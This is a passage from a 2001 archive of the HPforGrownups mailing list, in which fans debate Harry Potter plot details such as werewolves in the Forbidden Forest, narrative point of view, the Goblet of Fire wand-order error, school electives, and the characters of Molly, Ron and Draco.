had much of a response on.

Are there werewolves in the FF?  Is it a myth, created to scare the 
Hogwarts students?  If so, why don't more of them have more common 
sense about this, because either:
There is a community of werewolves who live in the forest, all the 
time, whether they are wolf or human
or:
Werewolves apparate there at the time of the month so they are away 
from humans and are contained there.
or:
werewolves couldn't possibly be found in the FF if not one of the 
above.

Plausible?

Finally, do werewolf cubs exist?  Is the condition genetic?  Or is it 
only passed on by biting etc.???

Catherine




From jkusalavagemd at yahoo.com  Mon Sep 10 00:51:09 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Mon, 10 Sep 2001 00:51:09 -0000
Subject: Omniscient Author (was: Harry not catching details was Re: Chill out, guys)
In-Reply-To: <9nh23c+g8mq@eGroups.com>
Message-ID: <9nh2pt+p7h2@eGroups.com>

No: HPFGUIDX 25843

--- In HPforGrownups at y..., caliburncy at y... wrote:

>
> --- In HPforGrownups at y..., prefectmarcus at y... wrote:
>
> > Don't you think that he possibly just might, maybe, perhaps not
> > catch ever single detail of what is going on?
>
> This is a valid enough point except that technically it would seem
to
> violate the Authorial Theory of Misinformation (I *really* need to
> explain what that is one of these days).  Anyway, what I mean in
this
> particular context, is that the details we receive here are
dependent
> upon the perspective/accuracy/veracity of the third person,
> limited-omniscient narrator and not upon Harry.

> -Luke

I don't think that you can reasonably assert that the HP books are
written from the perspective of an omniscient author, not least
because they are replete with the "red herrings" we so delight in
discovering.  Perforce, these rely on the reader knowing only what the
characters know at the time.  The red herring is thus set out for the
reader to misinterpret in light of this incomplete information or its
incorrect interpretation by the characters.

Haggridd




From prefectmarcus at yahoo.com  Mon Sep 10 01:09:56 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Mon, 10 Sep 2001 01:09:56 -0000
Subject: In defense of Joanne Kathleen Rowling
Message-ID: <9nh3t4+ou2r@eGroups.com>

No: HPFGUIDX 25844

I keep reading about all the flints in GoF and what a sloppy job it 
is.  I respectfully disagree.  Other than the famous wand order and a 
typo here and there, what irreconcilable conflicts are you referring 
to?  What slop?

Remember, the text is canon, but it does NOT tell all, nor is anybody 
in it perfect in thought, action, or anything else. Everybody -- and 
I do mean *everybody* -- makes mistakes and just plain misses or 
mistakes things.  It is a fact that Harry is very aware of what is 
going on around him, but he certainly is not omniscent.  He does not 
notice everything, and many things he thinks he does notice turn out 
to be just plain wrong.  

JKR is too good of a writer to make anybody perfect.  She also does 
not go into excruciating detail.  She tells what she has to plotwise, 
and very little more.  It's one of her strengths as a writer.  I like 
to think it is the Jane Austen influence.  This board wouldn't be 
nearly as fun if she told all.  How boring if she gave it all to us 
on a silver platter.  I would have long since moved on to somebody 
else.

Marcus







From caliburncy at yahoo.com  Mon Sep 10 01:11:56 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 10 Sep 2001 01:11:56 -0000
Subject: Omniscient Author (was: Harry not catching details was Re: Chill out, guys)
In-Reply-To: <9nh2pt+p7h2@eGroups.com>
Message-ID: <9nh40s+as9j@eGroups.com>

No: HPFGUIDX 25845

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> I don't think that you can reasonably assert that the HP books are
> written from the perspective of an omniscient author

Of course, you are correct that I wouldn't be able to assert that the 
HP books have an omniscient narrator--and I didn't.  I said they are 
written by a LIMITED-omniscient narrator.  I apologize if this 
terminology isn't clear--I don't like it much because it causes 
exactly the kind of confusion you are expressing--but I didn't invent 
the terminology, so what can be done?

The term omniscient of course means all-knowing, and when english or 
writing professors use the term 'limited-omniscient' it is confusing 
because it seems to be contradictory at best and wrong at worst.  
Because it doesn't really mean the narrator is omniscient at all or 
even partially omniscient.  What the term means is that the narrator 
is privy to the thoughts of only one or a few characters (instead of 
everyone, which is what they mean by omniscient narrators).  In the 
case of HP, we only get Harry's thoughts (except in PS/SS chapter 1 
and GOF chapter 1).  So it's called a limited-omniscient narrator, 
however misleading a label that may be.  But this doesn't mean we are 
limited to seeing what Harry sees, only that we can't get in other 
character's heads.  With a third-person narrator as in HP, our view is 
outside the characters, including outside Harry, and we can perceive 
things that he might not.  The extent to which this happens is left up 
to the author.  In most cases, the relationship between narrator and 
symbiote character is quite close, and such is the case in HP.  But 
you can't use that to relationship explain away things that don't 
happen by saying the character didn't see them so the narrator doesn't 
report them, unless they happen outside the presence of that 
character.  It just doesn't work like that, unless there's precedent 
to it set up at other points.  Without the precedent it violates the 
Authorial Theory of Misinformation (again, still need to explain 
that).

Did that explanation make things better . . . or worse?  :-)

-Luke




From prefectmarcus at yahoo.com  Mon Sep 10 01:16:41 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Mon, 10 Sep 2001 01:16:41 -0000
Subject: Harry not catching details (was Re: Chill out, guys)
In-Reply-To: <9nh23c+g8mq@eGroups.com>
Message-ID: <9nh49p+lm4@eGroups.com>

No: HPFGUIDX 25846

--- In HPforGrownups at y..., caliburncy at y... wrote:
> This is a valid enough point except that technically it would seem 
to 
> violate the Authorial Theory of Misinformation (I *really* need to 
> explain what that is one of these days).  Anyway, what I mean in 
this 
> particular context, is that the details we receive here are 
dependent 
> upon the perspective/accuracy/veracity of the third person, 
> limited-omniscient narrator and not upon Harry.  The details he 
would 
> or would not notice are irrelevant provided that he was in fact 
> present at the time.  We have no precedent to show that the 
narrator 
> ever leaves out concrete fact because Harry might not have noticed 
> provided he was there.
> 

In PoA chapter #10, the trio goes into "The Three Broomsticks" and 
orders and consumes three butterbeers.  No money or payment of any 
kind is mentioned.  Therefore by your logic, they got those 
butterbeers for free.

Marcus





From prefectmarcus at yahoo.com  Mon Sep 10 01:24:35 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Mon, 10 Sep 2001 01:24:35 -0000
Subject: Omniscient Author (was: Harry not catching details was Re: Chill out, guys)
In-Reply-To: <9nh40s+as9j@eGroups.com>
Message-ID: <9nh4oj+urf@eGroups.com>

No: HPFGUIDX 25847

--- In HPforGrownups at y..., caliburncy at y... wrote:

Luke,

Either Harry was too distracted to notice, or the Narrator doesn't 
mention it.  Either way, you cannot state that just because it isn't 
stated, it didn't happen. 

Marcus
 




From cynthiaanncoe at home.com  Mon Sep 10 01:59:43 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 01:59:43 -0000
Subject: Omniscient Author/In defense of JKR)
In-Reply-To: <9nh40s+as9j@eGroups.com>
Message-ID: <9nh6qf+10p8k@eGroups.com>

No: HPFGUIDX 25848

Luke wrote:

>In most cases, the relationship between narrator and 
> symbiote character is quite close, and such is the case in HP.  But 
> you can't use that to relationship explain away things that don't 
> happen by saying the character didn't see them so the narrator 
doesn't 
> report them, unless they happen outside the presence of that 
> character.  It just doesn't work like that, unless there's 
precedent 
> to it set up at other points.  Without the precedent it violates 
the 
> Authorial Theory of Misinformation (again, still need to explain 
> that).
> 
Luke,  If you have time, I'd love to hear more about the authorial 
Theory of Misinformation.  I had always thought that an author can 
omit unimportant details (character opens a door when leaving a 
room), but that the author is "cheating" if he/she explains away plot 
holes by saying, "Oh, there are a whole bunch of critical facts 
missing."  Of course, I know you can explain this better than I can.

PrefectMarcus wrote:

>I keep reading about all the flints in GoF and what a sloppy job it 
> is.  I respectfully disagree.  Other than the famous wand order and 
a 
> typo here and there, what irreconcilable conflicts are you 
referring 
> to?  What slop?
>

Personally, I think GoF wasn't really very sloppy.  The thing is 700+ 
pages and intricately plotted.  A few minor glitches got through 
(e.g. the number of times Harry was under the Imperius curse).  All 
of those are forgivable, and are things most readers wouldn't catch 
on a first read, and therefore don't impair the enjoyment of the book.

Then there are other things that could have been avoided with a few 
simple edits.  One of these (for me) is the fact that champions don't 
think to obtain the dragon egg using a Summoning charm.  A quick 
dialogue change would fix this.  Then there was Harry's failure to 
use a Summoning charm to obtain the Marauder's Map when his leg was 
stuck in the stair.  I would have liked to see him mentally chastise 
himself for not thinking of this faster.  

By my measure, then, the really horrible one is the only one that 
jumped out at me on my first reading:  the wand order.   I will say 
this, though.  I don't entirely understand why everyone is so unhappy 
about the way this was fixed.  Perhaps someone will enlighten me.

Cindy




From prefectmarcus at yahoo.com  Mon Sep 10 02:25:51 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Mon, 10 Sep 2001 02:25:51 -0000
Subject: Omniscient Author/In defense of JKR)
In-Reply-To: <9nh6qf+10p8k@eGroups.com>
Message-ID: <9nh8bf+nd6n@eGroups.com>

No: HPFGUIDX 25849

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Then there are other things that could have been avoided with a few 
> simple edits.  One of these (for me) is the fact that champions 
don't 
> think to obtain the dragon egg using a Summoning charm. 

I have always explained it by the following: "The first task is 
designed to test your daring."  GOF-AE p281.

How daring would a simple summoning charm be?  It would be like an 
olympic diver doing a simple half-turn.  Very safe, but not worth a 
whole lot of points.


> Then there was Harry's failure to 
> use a Summoning charm to obtain the Marauder's Map when his leg was 
> stuck in the stair.  I would have liked to see him mentally 
chastise 
> himself for not thinking of this faster.  
> 

That's the point, he didn't think of it.  Just like when he and Ron 
flew the car to Hogwarts.  Neither of them thought to send Hedwig 
until McGonagall mentioned it.  Then they realized how stupid they'd 
been.  Both of them had had hours to think about it.  :)

> By my measure, then, the really horrible one is the only one that 
> jumped out at me on my first reading:  the wand order.   I will say 
> this, though.  I don't entirely understand why everyone is so 
unhappy 
> about the way this was fixed.  Perhaps someone will enlighten me.
> 
> Cindy

I wish I could, but I don't really understand it either. It jumped 
out at me the first time too.  I figured that it was either an error 
or something revealing like the gleam. I'm just glad it got corrected.

Marcus





From caliburncy at yahoo.com  Mon Sep 10 02:35:38 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 10 Sep 2001 02:35:38 -0000
Subject: Harry not catching details (was Re: Chill out, guys)
In-Reply-To: <9nh49p+lm4@eGroups.com>
Message-ID: <9nh8tq+fl7v@eGroups.com>

No: HPFGUIDX 25850

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> In PoA chapter #10, the trio goes into "The Three Broomsticks" and 
> orders and consumes three butterbeers.  No money or payment of any 
> kind is mentioned.  Therefore by your logic, they got those 
> butterbeers for free.

AND

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> Either Harry was too distracted to notice, or the Narrator doesn't 
> mention it.  Either way, you cannot state that just because it isn't 
> stated, it didn't happen. 

Clearly, I'm not explaining myself properly.  I can see where you got 
your first point, though if I'd made myself more clear than you would 
see it couldn't be used to justify that.  That's my fault for being 
unclear.  I'm not really sure where you got your second point, since I 
didn't say anything of the sort and, in fact, wouldn't agree with such 
a statement.  But again, since you got that impression, I must have 
unintentionally given you it somehow.  So I will try to re-explain 
from scratch later and hopefully then things will make more sense 
(though you may still disagree as that's your perrogative, of course). 
 I'm afraid I'm too exhausted tonight.

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Luke,  If you have time, I'd love to hear more about the authorial 
> Theory of Misinformation.

I will try to do this, since certainly the lack of explanation of this 
is probably a big part of why people are misunderstanding what I meant 
in my other posts (of course, my own lack of explanatory skills are 
equally to blame).  Unfortunately, this would be ridiculously long to 
explain without a LOT of spare time.  I might have to focus on just 
one part of it, like the Authorial Theory of Misinformation only in 
how it impacts narrators (as that's the current discussion) and not 
characters.  Even then, it might be a bit much.  We'll see.

-Luke




From maidne at yahoo.com  Mon Sep 10 02:45:43 2001
From: maidne at yahoo.com (maidne at yahoo.com)
Date: Mon, 10 Sep 2001 02:45:43 -0000
Subject: Werewolves
In-Reply-To: <9nh2dh+evcp@eGroups.com>
Message-ID: <9nh9gn+en63@eGroups.com>

No: HPFGUIDX 25851

--- In HPforGrownups at y..., catherine at c... wrote:
> Hi all,
> We've been looking at the Forbidden Forest recently, which gives me 
> the opportunity to bring up something I have asked before, and not 
> had much of a response on.
> 
> Are there werewolves in the FF?  Is it a myth, created to scare the 
> Hogwarts students?  If so, why don't more of them have more common 
> sense about this, because either:
> There is a community of werewolves who live in the forest, all the 
> time, whether they are wolf or human
> or:
> Werewolves apparate there at the time of the month so they are away 
> from humans and are contained there.
> or:
> werewolves couldn't possibly be found in the FF if not one of the 
> above.
> 
> Plausible?
> 
> Finally, do werewolf cubs exist?  Is the condition genetic?  Or is 
it 
> only passed on by biting etc.???
> 
> Catherine

Didn't JKR say in an interview that there are no werewolf cubs?  I 
think I remember her saying that Riddle was lying when he said the 
Hagrid raised werewolves under his bed.

Susan




From catlady at wicca.net  Mon Sep 10 02:49:46 2001
From: catlady at wicca.net (Rita Winston)
Date: Sun, 09 Sep 2001 19:49:46 -0700
Subject: SuperMolly - Elective CoMC - Priori Incantatem - Werewolves -  The First 
 Task 
Message-ID: <3B9C2A49.C5F033D7@wicca.net>

No: HPFGUIDX 25852

dasienk wrote:

> Molly is a powerful witch, no matter what
> she did before marrying Arthur. She has 
> done the most magical thing of all--she 
> Has borne and raised children who are 
> caring,loyal and loving. 

With respect, Muggles can do that, not just play chess.

frantyck wrote:

> [Molly'S] husband was clearly one 
> of the "old crowd" 

Steve Vander Ark wrote:

> More than that! Molly herself is 
> obviously part of the "old crowd."

Thank you, Steve! You said it so much more efficiently than I would
have.

Kelly the Yarn Junkie wrote:

> Hmmm.  If Care of Magical Creatures is, 
> in fact, an elective: 1) Why did Harry need 
> _Fantastic Beasts..._ for his first year? 
> 2) Why didn't Malfoy quit after the Buckbeak
> incident?

Maybe they needed Fantastic Beasts in first year for DADA. They ended up
apparently not using it in DADA first or second year, but they did use
it third year, with the boggarts and grindylows and hinkypunks and not
having gotten to werewolves yet, they're nearly at the end (hey,
alphabetical order!) and maybe Snape wasn't just being nasty when he
said that first years should have known this stuff, maybe Lupin was
giving them the official first year curriculum that they had been
cheated of.

Maybe Draco couldn't quit CoMC after Buckbeak any more than Ron and
Harry could quit Divination: they were taking only the minimum required
number of electives so they couldn't drop any of them. Hermione could
drop Divination and Muggle Studies because she was still taking more
than the minimum required number of electives without them. CoMC,
Arithmancy, Ancient Runes, are those all the electives she'd taking
after dropping Divination and Muggle Studies?

Kelly the Yarn Junkie wrote:

>  I don't think I understand what anyone
>  expected to see to represent
> > the spell that rebounded onto V
> > The Imperio curse, 

I think the curse that rebounded against V should have been represented
by a ghostly image of Harry himself (as baby, student, or adult) or of
V. Which of those would have weirded Harry out worse? 

Catherine wrote:

> Finally, do werewolf cubs exist?  Is the 
> condition genetic?  Or is it only passed 
> on by biting etc.???

FANTASTIC BEASTS says "Humans turn into werewolves only when bitten." It
doesn't say anything about inheriting the condition -- neither does it
say whether werewolves can have human children/wolf cubs (I'm inclined
to believe that female werewolves miscarry all pregnancies because the
transformation is too hard on a fetus -- I also believe that the
Animagus transformation, among all its myriad advantages over werewolf
transformation, safely transform the fetus along with its other). It
also doesn't say anything about whether silver has any special effect on
werewolves.

I agree with your point that either there are no werewolves in the
Forbidden Forest, or there are werewolves who live there all the time
but usually in human form, or there are werewolves who live elsewhere
but go to the Forbidden Forest each month for their transformation. I
believe that there are currently no werewolves in the Forbidden Forest,
altho' for a couple of years in the 1970s there was one werewolf who
lived mostly at Hogwarts but went to the Forbidden Forest each month
during his transformation: the rumors Draco heard about werewolves COUlD
be rumors that started from one of those 'close calls' that Lupin
mentioned during the foursome's animal adventures.

Prefect Marcus wrote:

> I have always explained it by the 
> following: "The first task is designed
> to test your daring."  GOF-AE p281.

> How daring would a simple summoning 
> charm be?  It would be like an olympic
> diver doing a simple half-turn.  Very
> safe, but not worth a whole lot of points.

But Harry DID do a Summoning Charm and got HIGH POINTS from all the
judges except Karkaroff, whose unfairness in this scoring I have always
assumed to be a little joke about the Soviet judges in the Olympics,
back when there was a Soviet Union.
------------------------------------------------------------------
  Pepperwood, thunderbird down, seven inches
     why aren't THUNDERBIRDS in FANTASTIC BEASTS?
------------------------------------------------------------------
R ighteous
A ttractive
V ictorious
E ager
N atural
C lassy
L egendary
A mazing
W ise
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From jkusalavagemd at yahoo.com  Mon Sep 10 03:23:46 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Mon, 10 Sep 2001 03:23:46 -0000
Subject: Authorial Theory of Misinformation (was: Harry not catching details was: Chill) 
In-Reply-To: <9nh8tq+fl7v@eGroups.com>
Message-ID: <9nhbo2+ciiu@eGroups.com>

No: HPFGUIDX 25853

--- In HPforGrownups at y..., caliburncy at y... wrote:

> > stated, it didn't happen.
>
> Clearly, I'm not explaining myself properly.
>
> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
 Unfortunately, this would be ridiculously long to
> explain without a LOT of spare time.  I might have to focus on just
> one part of it, like the Authorial Theory of Misinformation only in
> how it impacts narrators (as that's the current discussion) and not
> characters.  Even then, it might be a bit much.  We'll see.
>
> -Luke

Luke, I think you are doing both yourself and the other listees a
disservice when you denigrate either your own explanatory skills or
our ability to follow any such explanation.  I think you do have to
define your terms, else we all will simply be arguing across one
another.  May I suggest that you take your time, rest up and write a
clear and complete essay for the FAQ archives?  This way we can all
proceed from a common basis.  I, for one, would also appreciate
references so that I can know who is a proponent of this theory.

Haggridd




From vderark at bccs.org  Mon Sep 10 04:08:21 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Mon, 10 Sep 2001 04:08:21 -0000
Subject: dissatisfaction with corrections to GF
Message-ID: <9nhebl+dbvi@eGroups.com>

No: HPFGUIDX 25854

I have been reading with interest the reactions to my apparently 
heretical remarks about GF. Someone asked what was so sloppy about 
the book. Someone else asked what was wrong with the way the wand 
order problem was corrected. Someone even wrote messages "in defense 
of Joanne Katherine Rowling"! 

Believe me, you don't need to defend JKR from me. My comments have a 
historical basis, and in order to understand them, you need to 
understand something of where this list has been.

If you weren't part of this list when GF came out, you don't realize 
the mood around here. We were all giddy and excited from lack of 
sleep and incessant re-reads of the book. And when some of these 
errors came out, we all leaped to JKR's defense, inventing plausible 
explanations for what the book said. Frankly, it became personal. We 
were so excited about how clever she had been with other surprises in 
the books that we just KNEW that this was one more clue to something 
wonderful that was waiting for us in book five. Some of our theories 
were a bit weird, others were just plain brilliant. She could have 
easily borrowed one of our explanations and never had to admit any 
error at all. The media got a hold of the story and one or two of our 
list members were interviewed for news stories. This was a Big Deal 
around here. (Incidentally, that page in the Lexicon about who killed 
James and Lily was written about that same time, as was my proof of 
why Arabella Figg and Mrs. Figg were the same person...which turned 
out to be right, I might add). 

We were all very let down when the error was just fixed with no 
comment whatsoever from JKR or the publishers. I know it sounds a bit 
odd, but hey, we're fans and fans are, by definition, fanatics. 
Although we couldn't really dispute it when the official word finally 
did come down, it was a bit of a blow, to be honest. We wanted 
something more. We wanted so badly for it to be something more 
exciting that just a goof. Again, several list members were 
interviewed by mainstream news reporters, but eventually the whole 
thing just dropped off our radar. 

However, some of us who've been here a long time have never quite 
gotten over it. Our cynicism might come trickling out now and then. I 
don't write elaborate explanations or lists of proof passages 
anymore, for example. I honestly do see, amidst the delightful 
storytelling and brilliant imagination, some tendencies toward 
simplistic characterizations and stereotypes. Slytherins are all ugly 
and nasty, Hufflepuffs are all a bit tubby, Molly believes Rita 
Skeeter's cruel article over common sense simply to generate a mildly 
humorous bit (Your mom doesn't read Witch Weekly, does she?). I see 
it because it's there. 

Good grief, some of you seem to be taking offense that I say this. 
But it's me, guys, the editor of the Lexicon. I'm not going over to 
the Dark Side or anything here. I've just become a bit more realistic 
as time goes by. That doesn't mean I like the books any less or that 
you need to defend JKR against me. I'm not attacking her! But I don't 
think she's a writer on par with C.S. Lewis or Natalie Babbitt and 
that's okay. Hardly any writers are. That doesn't mean that only 
those few writers who are at the absolute top of the pile are worth 
reading. Not at all. But by the same token there's nothing wrong with 
being realistic about it and calling it like it is.

Steve




From prefectmarcus at yahoo.com  Mon Sep 10 04:18:05 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Mon, 10 Sep 2001 04:18:05 -0000
Subject: SuperMolly - Elective CoMC - Priori Incantatem - Werewolves -  The First Task
In-Reply-To: <3B9C2A49.C5F033D7@wicca.net>
Message-ID: <9nhett+ulur@eGroups.com>

No: HPFGUIDX 25855

--- In HPforGrownups at y..., Rita Winston <catlady at w...> wrote:
> Prefect Marcus wrote:
> 
> > I have always explained it by the 
> > following: "The first task is designed
> > to test your daring."  GOF-AE p281.
> 
> > How daring would a simple summoning 
> > charm be?  It would be like an olympic
> > diver doing a simple half-turn.  Very
> > safe, but not worth a whole lot of points.
> 
> But Harry DID do a Summoning Charm and got HIGH POINTS from all the
> judges except Karkaroff.

But he still went after the egg head-to-head against the dragon.

Marcus





From aiz24 at hotmail.com  Mon Sep 10 05:34:56 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 01:34:56 -0400
Subject: Priori Incantatem
Message-ID: <F139UbHmiiFmOOF44GG0000b8b3@hotmail.com>

No: HPFGUIDX 25856

Mike the G wrote:

>But the various bungles in the priori incantatem narrative seem (to me) 
>more
>like errors of haste and distraction than evidence of a shallow artistic
>vision.

I never went through the P.I. disillusionment because I read GoF in 
November, joined this list, said "what's up with James coming out first?" 
(bad newbie, didn't read the VFAQ before posting), and got the answer.  I 
admire everyone's ingenuity in coming up with explanations before the 
correction was made, but I still think the plot is best as it stands.

Likewise--

Kelly wrote:

>I don't think I understand what anyone expected to see to represent
these curses.

Hear, hear.  I just don't share the view that the missing spells during 
Priori Incantatem are Flints.  JKR is brilliant at being selective about 
detail, so she doesn't show everything, and this scene is unfolding very 
fast; would Harry recognize a repeated Imperius Curse if he saw it?  What 
would it look like/sound like, anyway?  The first AK against Harry is 
similarly abstract and might not produce any kind of noticeable echo (though 
a crying baby does seem likely and would be heart-wrenching).  And as for 
things like Wormtail starting the fire, maybe a flicker of echoed fire does 
emerge from V's wand; I think it would be a bit tedious of JKR to tell us 
this and every other single thing that came out.  She chooses a few vivid 
things, like the screams of Cruciatus victims and the very concrete silver 
hand, and that's enough in my view.

Steve wrote:

>I find the character of Molly to be a bit
>confusing. I really, really liked her until GF, but then her
>ridiculous snubbing of Hermione threw me. She is so easily twisted by
>the words of Rita Skeeter

I wouldn't call any of this a Flint, just careless characterization like 
others sprinkled through the books (e.g. Slytherin stereotype).  For me, the 
only part that was really hard to swallow was her sending Hermione the small 
egg.  *However,* we don't know that Molly is in the habit of sending 
Hermione gifts on a par with Ron and Harry's.  E.g., she doesn't make 
sweaters for Hermione, AFAWK.  Ron gets a big egg because he's her son, 
Harry gets one because he's Harry and she has a special soft spot for him, 
and Hermione doesn't get one for the same reason she doesn't get a 
sweater--it doesn't have to be a snub.  OK, I'm pushing it--the egg thing 
does seem a bit much to me.

The bit before the third task doesn't bother me, though.  Molly isn't nasty 
to Hermione, she's just a bit cool, and that seems very realistic.  Even 
when people know that a particular writer is rubbish, they are often 
influenced by what they read.  Molly seems like most people in that she is 
swayed by someone like Rita Skeeter unless RS happens to be writing about 
her own family--*then* she notices that RS is full of it.

Amy Z
desperate to rescue Steve from the pit of cynicism lest he retire from HPdom 
and leave us Lexiconless

-------------------------------------
"We don't send people to Azkaban
just for blowing up their aunts!"
     -HP and the Prisoner of Azkaban
-------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From aiz24 at hotmail.com  Mon Sep 10 05:32:29 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 01:32:29 -0400
Subject: Elective Classes
Message-ID: <F929pCUnCDW4trRJzDg0000bf3c@hotmail.com>

No: HPFGUIDX 25857

Kelly the Yarn Junkie wrote:

>Divination is the only listed elective.  All the other classes were
>mentioned in some way shape or form before PoA, so we still don't know
>what the second elective is.

We know that Harry, Ron and Hermione don't take Care of Magical Creatures 
until PoA, so that is the second elective (Hermione's fifth).

>Hmmm.  If Care of Magical Creatures is, in fact, an elective:

>1) Why did Harry need _Fantastic Beasts..._ for his first year?

It sounds like it would be a useful text for DADA.

>2) Why didn't Malfoy quit after the Buckbeak incident?

Some possibilities:

(a) "Elective" is a tricky term; they choose which classes to take but they 
don't choose how many.  He has to take *something.*

(b) Quitting would be quitting.  He's going to stick it out and outlast 
Hagrid.

(c) He really wants to learn Care of Magical Creatures, the better to 
oversee the gamekeeper back home when he inherits the mansion, and because 
Lucius won't let him have a fire crab until he can take care of it himself.

Amy Z

-----------------------------------------------------
Those who have been stung by a Billywig suffer
giddiness followed by levitation.  Generations of
young Australian witches and wizards have attempted
to catch Billywigs and provoke them into stinging
in order to enjoy these side effects . . .
           -Fantastic Beasts and Where to Find Them
-----------------------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From hfakhro at nyc.rr.com  Mon Sep 10 06:12:31 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Mon, 10 Sep 2001 06:12:31 -0000
Subject: C.R.A.B. - dissatisfaction with GoF
In-Reply-To: <9nfp21+5vq8@eGroups.com>
Message-ID: <9nhlkf+d5rt@eGroups.com>

No: HPFGUIDX 25858

cynthiaanncoe wrote:
Amy, I would consider joining C.R.A.B. (assuming you'd have me), but 
someone has to make the case for Ron being deserving of a break.

When I first read the books, I was wondering if Ron might be 
something close to a squib.  I can't think of very many instances in 
which Ron proves a talent in a particular branch of magic.  He has 
trouble on Lupin DADA exam and can't throw off the Imperius curse.  I 
don't think he's ever transfigured anything.  His Banished cushions 
don't land in the bin.  He makes up his divination homework.  He 
invents goblins on the test.  Nothing good ever happens to Ron in 
Potions.  He isn't good enough at Quiddich to make the house team, 
even by his third year.  He can't even land on the cushions when 
stunned, for cryin' out loud.  He's good at chess, but even Muggles 
are good at chess.

So Ron seems very nice, courageous and funny, and I'd like to believe 
he's a talented wizard.  But for now, I have my doubts about whether 
Ron has earned a break.  

Cindy (who wonders whether Ron will receive even one O.W.L.)

Hi - several people have already proven that it is not the case that 
Ron is Squib-like, so I won't repeat their points. The thing is, why 
do you say that Ron hasn't earned a break unless he achieves some 
incredibly talented action in the manner of Harry (most famous and 
talented peer of Ron's) and Hermione (cleverest witch of her year.) I 
think the standards many people set Ron to are completely unfair and 
unrealistic. I think it is even mentioned once (book 1 or 2) that he 
gets similar marks as Harry, so I don't understand why you seem to 
think he won't receive his O.W.L.s. NOBODY is able to fight the 
Imperius except Harry, and I think it is emphasized that this is a 
Big Deal. This includes Barty Crouch (a powerful wizard) - he is only 
able to fight it for moments at a time and that's after several 
months. The Quidditch team lineup hasn't changed since their first 
year; we simply cannot know whether Ron would have made it on the 
team, because that opportunity has not arisen for him.

The other thing is, why is it important to judge Ron based on his 
magical talent? Why does he only earn a break if he is a powerful 
wizard? I don't see anyone saying that Neville doesn't earn a break 
simply because he's not the most powerful of wizards (yet.) It is 
true that 'even Muggles are good at chess' - but not many Muggles can 
play it as well as Ron does. I can understand people disliking Ron, I 
just don't understand when he's held up to ridiculously high 
standards and then judged to be a nonentity. Ron brings humour, 
encouragement, and friendship into Harry's life, I don't think we 
should underestimate that affect on Harry.

Steve Vander Ark wrote:

She could have easily borrowed one of our explanations and never had 
to admit any error at all.
<snip>
We were all very let down when the error was just fixed with no 
comment whatsoever from JKR or the publishers.
<snip>
But I don't think she's a writer on par with C.S. Lewis or Natalie 
Babbitt and that's okay.

I think I can understand where you're coming from in terms of the 
disappointment (even though I am a post-GoF member, and really did 
not know what it was like back then) - however, can we really expect 
something like this from JKR? I doubt that she monitors any sort of 
fan list, no matter how wishful we may be that she would do so. 
Therefore, I doubt she even knew that there were theories that would 
have supported the wand order error - and even if she had seen these 
theories, perhaps it still wouldn't have made sense in the backstory? 
I understand you don't think she's the best writer, but I think we 
can't judge the series until they are completed. For me, I find each 
book is an improvement over the last, so I have every faith that the 
books will get better and that her writing will improve. I know 
you're not abandoning the books because of this view, I just hope 
that you can have faith in her writing, especially now that she has 
so much time to write the next one properly.

--Hella




From cimorene21 at hotmail.com  Mon Sep 10 06:38:24 2001
From: cimorene21 at hotmail.com (cimorene21 at hotmail.com)
Date: Mon, 10 Sep 2001 06:38:24 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9ms30f+6p77@eGroups.com>
Message-ID: <9nhn50+4jru@eGroups.com>

No: HPFGUIDX 25859

--- In HPforGrownups at y..., meboriqua at a... wrote:
> --- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> 
>   I think that while Draco Malfoy is, indeed, a snarky little pill, 
he's by no means irredeemable-- he's a jerk, he's a racist-- but he 
isn't all-out EVIL. On the other hand, Rowling really hasn't shown 
any signs of his being a decent sort underneath it all--the most 
compelling evidence of his nastiness, I think, is his behavior in CoS 
when he first sees the writing on the wall-- his response is 
downright SCARY.  I think that if JKR wants to treat the Draco 
character as anything more than a cardboard Foil-for-Harry, she would 
at least have him-- I'm not sure.   Whatever else is going to happen 
and whatever shape it takes, there is a direct and all-out 
confrontation between the Forces of Good and Evil coming up in these 
novels, and Draco malfoy's family is caught up in it.  I don't really 
think he's grasped the full weight of this yet-- while his father is 
obviously a horrible man who's done bad things, Draco was born near-
or-after the fall of V., and couldn't possibly have remembered what 
being a Death Eater really meant-- the Malfoys have been underground, 
in that respect, for the most part of his life-- I doubt they'd be 
doing anything spectacularly evil where their kid-- who might talk-- 
could see it.  




From tabouli at unite.com.au  Mon Sep 10 09:15:52 2001
From: tabouli at unite.com.au (Tabouli)
Date: Mon, 10 Sep 2001 19:15:52 +1000
Subject: Animagus reproduction, JKR vs C.S. Lewis
